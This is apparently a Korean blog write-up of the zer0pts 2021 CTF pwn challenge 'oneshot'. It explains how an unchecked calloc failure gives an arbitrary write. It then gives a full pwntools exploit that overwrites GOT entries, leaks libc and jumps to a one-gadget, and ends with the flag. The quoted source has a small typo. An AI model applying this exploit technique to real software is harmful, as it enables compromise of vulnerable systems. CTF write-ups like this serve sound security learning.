반응형
파일 정보
$ file chall
chall: ELF 64-bit LSB executable, x86-64, version 1 (SYSV),
dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2,
for GNU/Linux 3.2.0,
BuildID[sha1]=7cf51550bee6566a6972d12ba047bbebef778f7e, not stripped
$ pwn checksec chall
[*] '/home/user/바탕화면/zer0ptf/oneshot/chall'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
코드
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
int main() {
int *arr = NULL, n = 0, i = 0;
printf("n = ");
scanf("%d", &ni);
if (n >= 0x100)
exit(1);
arr = calloc(n, sizeof(int));
printf("i = ");
scanf("%d", &i);
printf("arr[%d] = ", i);
scanf("%d", &arr[i]);
puts("Done!");
return 0;
}
__attribute__((constructor))
void setup() {
alarm(60);
setbuf(stdin, NULL);
setbuf(stdout, NULL);
}
풀이
printf("n = ");
scanf("%d", &ni);
if (n >= 0x100)
exit(1);
arr = calloc(n, sizeof(int));
calloc이 에러가 났을 경우, 따로 처리하는 조건이나 예외가 없다.
따라서 n을 음수로 줬을 때 arr 값은 0으로 고정된다.
printf("i = ");
scanf("%d", &i);
printf("arr[%d] = ", i);
scanf("%d", &arr[i]);
puts("Done!");
arr 값이 0이고 i를 조작하면 원하는 메모리에 값을 쓸 수 있다.
즉, 함수들의 got 주소를 Overwrite 가능하다.
Exploit
- puts got을 main 주소를 쓴다.
- exit got 을 0x4006ac(mov edi, 0x601060 ; jmp rax) 주소를 쓴다.
- 다음 n을 printf ptl 주소를 쓰면, rax에 printf 함수 주소가 들어가
라이브러리 메모리 릭이 가능하다. - 릭된 주소를 가지고 one shot 주소를 구하고, exit got에 one shot 주소를 쓴다.
- exit를 호출하면 exploit에 성공한다.
from pwn import *
main = 0x400737
puts_got = 0x601018
print_plt = 0x400606
exit_got = 0x601048
# get index
puts_index = puts_got // 4
exit_index = exit_got // 4
# p = process('./chall', env={'LD_PRELOAD': './libc.so.6'})
p = remote('pwn.ctf.zer0pts.com', 9004)
def arr_modify(n, i, data):
if n:
print(p.sendlineafter('n = ', str(n)))
print(p.sendlineafter('i = ', str(i)))
print(p.sendlineafter('] = ', str(data)))
# puts를 main으로 세팅
arr_modify(-1, puts_index, main)
arr_modify(-1, exit_index, 0x4006ac)
# stdout leak
print(p.sendlineafter('n = ', str(print_plt)))
leak = u64(p.recv(6).ljust(8, b'\x00'))
libc_base = leak - 0x1ec6a0
one_shot = libc_base + 0xe6c81
log.info(f'libc: {hex(libc_base)}')
log.info(f'one shot: {hex(one_shot)}')
arr_modify(None, 0, 0)
arr_modify(-1, exit_index, one_shot & 0xffffffff) # 하위 4byte
arr_modify(-1, exit_index+1, one_shot >> 32) # 상위 4byte
print(p.sendlineafter('n = ', str(0x1000)))
p.interactive()
Flag
zer0pts{th1s_1s_why_y0u_sh0uld_ch3ck_r3turn_v4lu3_0f_malloc}
반응형
'CTF(Capture The Flag) > zeroptf 2021' 카테고리의 다른 글
safe_vector (0) | 2021.04.07 |
---|---|
baby sqli (0) | 2021.03.12 |
GuestFS:AFR (0) | 2021.03.12 |
stopwatch (0) | 2021.03.12 |
Not Beginner's Stack (0) | 2021.03.12 |